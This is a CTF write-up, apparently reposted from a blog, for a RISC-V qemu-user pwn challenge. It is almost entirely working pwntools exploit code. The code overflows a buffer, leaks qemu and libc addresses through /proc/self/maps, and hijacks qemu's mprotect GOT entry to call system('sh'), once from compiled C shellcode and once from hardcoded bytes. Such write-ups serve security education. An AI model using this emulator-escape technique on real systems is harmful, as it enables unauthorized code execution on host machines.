Tags: mprotect qemu risc-v shellcode shellcoding pwn 

Rating:

> c代码源码版shellcode:题目远程版

```python
from pwn import *
import os
#context(log_level="debug")
io = remote("10.10.10.1",8888)

def gen_shellcode(shellcode):
f = open("shellcode.c","w");f.write(shellcode);f.close()
os.system("riscv64-linux-gnu-gcc -e main -nostdlib -Os -static shellcode.c -o shellcode")
os.system("riscv64-linux-gnu-objcopy --dump-section .text=sc.bin shellcode")
f = open("sc.bin","rb");sc = f.read();f.close()
print(sc.hex())
return sc

shellcode_jmp = '''
int main() {
void * addr = 0x6c000;
syscall(63,0,addr,0x200);
(*(void(*)()) addr) ();
}

asm(
"syscall:\\n"
"mv a7, a0\\n"
"mv a0, a1\\n"
"mv a1, a2\\n"
"mv a2, a3\\n"
"ecall\\n"
"ret\\n"
);
'''

shellcode = '''
void * syscall();
__attribute__((section(".text"))) char maps[] = "/./proc/self/maps";

int main() {
long long * libc_base,* qemu_base;
char buf[0x1000];
void * f =
syscall(56,0,maps,0); // openat = 56
syscall(63,f,buf,0xf00); // read = 63
syscall(64,1,buf,0xf00); // write = 64
syscall(63,f,buf,0xf00); // read = 63
syscall(64,1,buf,0xf00); // write = 64

syscall(63,0,&qemu_base,8);
syscall(63,0,&libc_base,8);

long long * libc_system = libc_base + 0x04f550/8;
long long * mprotect_got = qemu_base + 0x6a3200/8;
long long * ro_memory = qemu_base + 0x668000/8;

syscall(226,ro_memory,0x3c000,6);
* mprotect_got = (long long) libc_system;
* ro_memory = (long long) 0x6873;

syscall(226,ro_memory,0x3c000,6);

}

asm(
"syscall:\\n"
"mv a7, a0\\n"
"mv a0, a1\\n"
"mv a1, a2\\n"
"mv a2, a3\\n"
"ecall\\n"
"ret\\n"
);
'''

io.sendline(gen_shellcode(shellcode_jmp).ljust(288,b'a')+p64(0x4000800b48))
io.sendline(gen_shellcode(shellcode))

data = io.recvuntil("libc-")
data = str(data).replace("\\n","\n").splitlines()
io.recv(4096)
for i in data:
if "00000000" not in i: continue
if "qemu-riscv64" in i: qemu_base = int(i[0:12],16)
if "libc-" in i: libc_base = int(i[0:12],16)
log.success(hex(qemu_base))
log.success(hex(libc_base))

io.send(p64(qemu_base)+p64(libc_base))
io.interactive()
```

其中跳转部分shellcode可以优化,但由于编译方式不同就不写在一起了:

```s
li a0,0 # a0 = 0
li a1,0x6c000 # a1 = 0x6c000
li a2,0x200 # a2 = 400
li a7,63 # read = 63
ecall # Do syscalls: read(0,0x6c000,400)

li a0,0x6c000
jr (a0) # jump 0x6c000
```

> c代码远程二进制版shellcode:上面编译完写死的shellcode

```python
from pwn import *
io = remote("10.10.10.1",8888)

sc1 = b"\x01\x45\xb7\xc5\x06\x00\x13\x06\x00\x20\x93\x08\xf0\x03\x73\x00"
sc1 += b"\x00\x00\x37\xc5\x06\x00\x67\x00\x05\x00"

io.sendline(sc1.ljust(288,b'a')+p64(0x4000800b48))

sc2 = b"\x7d\x73\x5d\x71\x86\xe4\xa2\xe0\x26\xfc\x4a\xf8\x4e\xf4\x52\xf0"
sc2 += b"\x81\x46\x1a\x91\x17\x06\x00\x00\x13\x06\xc6\x10\x81\x45\x13\x05"
sc2 += b"\x80\x03\xef\x00\xe0\x0e\x05\x6a\x18\x08\x93\x07\x0a\x01\xba\x97"
sc2 += b"\xfd\x74\x33\x84\x97\x00\x05\x69\xaa\x89\x93\x06\x09\xf0\x22\x86"
sc2 += b"\xaa\x85\x13\x05\xf0\x03\xef\x00\xa0\x0c\x93\x06\x09\xf0\x22\x86"
sc2 += b"\x85\x45\x13\x05\x00\x04\xef\x00\xa0\x0b\x93\x06\x09\xf0\x22\x86"
sc2 += b"\xce\x85\x13\x05\xf0\x03\xef\x00\xa0\x0a\x93\x06\x09\xf0\x22\x86"
sc2 += b"\x85\x45\x13\x05\x00\x04\xef\x00\xa0\x09\x18\x08\x93\x07\x0a\x01"
sc2 += b"\xba\x97\x13\x86\x84\xff\x3e\x96\xa1\x46\x81\x45\x13\x05\xf0\x03"
sc2 += b"\xef\x00\x00\x08\x18\x08\x93\x07\x0a\x01\xba\x97\x13\x86\x04\xff"
sc2 += b"\x3e\x96\xa1\x46\x81\x45\x13\x05\xf0\x03\xef\x00\x60\x06\x83\x34"
sc2 += b"\x04\xff\x03\x34\x84\xff\xb7\xf7\x04\x00\xb7\x85\x66\x00\xa2\x95"
sc2 += b"\x93\x87\x07\x55\x99\x46\x37\xc6\x03\x00\x13\x05\x20\x0e\xbe\x94"
sc2 += b"\x2e\xe4\xef\x00\xe0\x03\xa2\x65\xb7\x37\x6a\x00\x3e\x94\x9d\x67"
sc2 += b"\x23\x30\x94\x20\x93\x87\x37\x87\x9c\xe1\x99\x46\x37\xc6\x03\x00"
sc2 += b"\x13\x05\x20\x0e\xef\x00\xc0\x01\x05\x63\x1a\x91\xa6\x60\x06\x64"
sc2 += b"\xe2\x74\x42\x79\xa2\x79\x02\x7a\x01\x45\x61\x61\x82\x80\x00\x00"
sc2 += b"\xaa\x88\x2e\x85\xb2\x85\x36\x86\x73\x00\x00\x00\x82\x80\x01\x00"
sc2 += b"\x2f\x2e\x2f\x70\x72\x6f\x63\x2f\x73\x65\x6c\x66\x2f\x6d\x61\x70"
sc2 += b"\x73\x00\x00\x00"

io.sendline(sc2)

data = io.recvuntil("libc-")
data = str(data).replace("\\n","\n").splitlines()
io.recv(4096)
for i in data:
if "00000000" not in i: continue
if "qemu-riscv64" in i: qemu_base = int(i[0:12],16)
if "libc-" in i: libc_base = int(i[0:12],16)
log.success(hex(qemu_base))
log.success(hex(libc_base))

io.send(p64(qemu_base)+p64(libc_base))
io.interactive()
```

Original writeup (https://xuanxuanblingbling.github.io/ctf/pwn/2021/01/22/riscv/).